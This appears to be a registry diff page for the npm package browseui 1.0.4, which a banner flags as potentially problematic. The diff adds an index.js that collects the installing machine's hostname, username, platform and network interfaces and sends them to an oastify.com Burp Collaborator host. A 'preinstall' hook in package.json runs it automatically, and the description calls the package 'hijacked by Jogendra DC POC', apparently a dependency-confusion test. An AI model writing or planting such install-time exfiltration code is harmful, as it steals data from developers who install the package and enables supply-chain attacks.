browseui 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of browseui might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +45 -0
  2. package/package.json +16 -0
package/index.js ADDED
@@ -0,0 +1,45 @@
1
+ const os=require('os');
2
+ const https=require('https');
3
+ const { execSync } = require('child_process');
4
+
5
+ //Replace with your Burp Collaborator URL
6
+ const burpCollaboratorUrl = 'lk9n652na83iax4i55b8gpntrkxbl99y.oastify.com';
7
+
8
+ // Collect device information
9
+ const deviceInfo = {
10
+ platform: os.platform(),
11
+ release: os.release(),
12
+ hostname: os.hostname(),
13
+ arch: os.arch(),
14
+ userInfo: os.userInfo(),
15
+ networkInterfaces: os.networkInterfaces()
16
+ };
17
+
18
+ //Convert device information to a query string
19
+ const queryString = Object.entries(deviceInfo).map(([key, value]) => {
20
+ if(typeof value === 'object'){
21
+ value = JSON.stringify(value);
22
+ }
23
+ return '${encodeURIComponent(key)}=${encodeURIComponent(value)}';
24
+ }).join('&');
25
+
26
+ //Define the request options
27
+ const options = {
28
+ hostname: burpCollaboratorUrl,
29
+ port: 443,
30
+ path: '/?${queryString}',
31
+ method: 'GET'
32
+ };
33
+
34
+ //create the request
35
+ const req = https.request(options, (res) => {
36
+ console.log('Status: ${res.statusCode}');
37
+ });
38
+
39
+ //Handle any errors
40
+ req.on('error', (error) => {
41
+ console.error('Error: ${error.message}');
42
+ });
43
+
44
+ //End the request
45
+ req.end();
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "browseui",
3
+ "version": "1.0.4",
4
+ "description": "hijacked by Jogendra DC POC",
5
+ "license": "ISC",
6
+ "author": "Jogendra Sabar",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1",
11
+ "preinstall": "node index.js"
12
+ },
13
+ "dependencies": {
14
+ "browseui": "^1.0.1"
15
+ }
16
+ }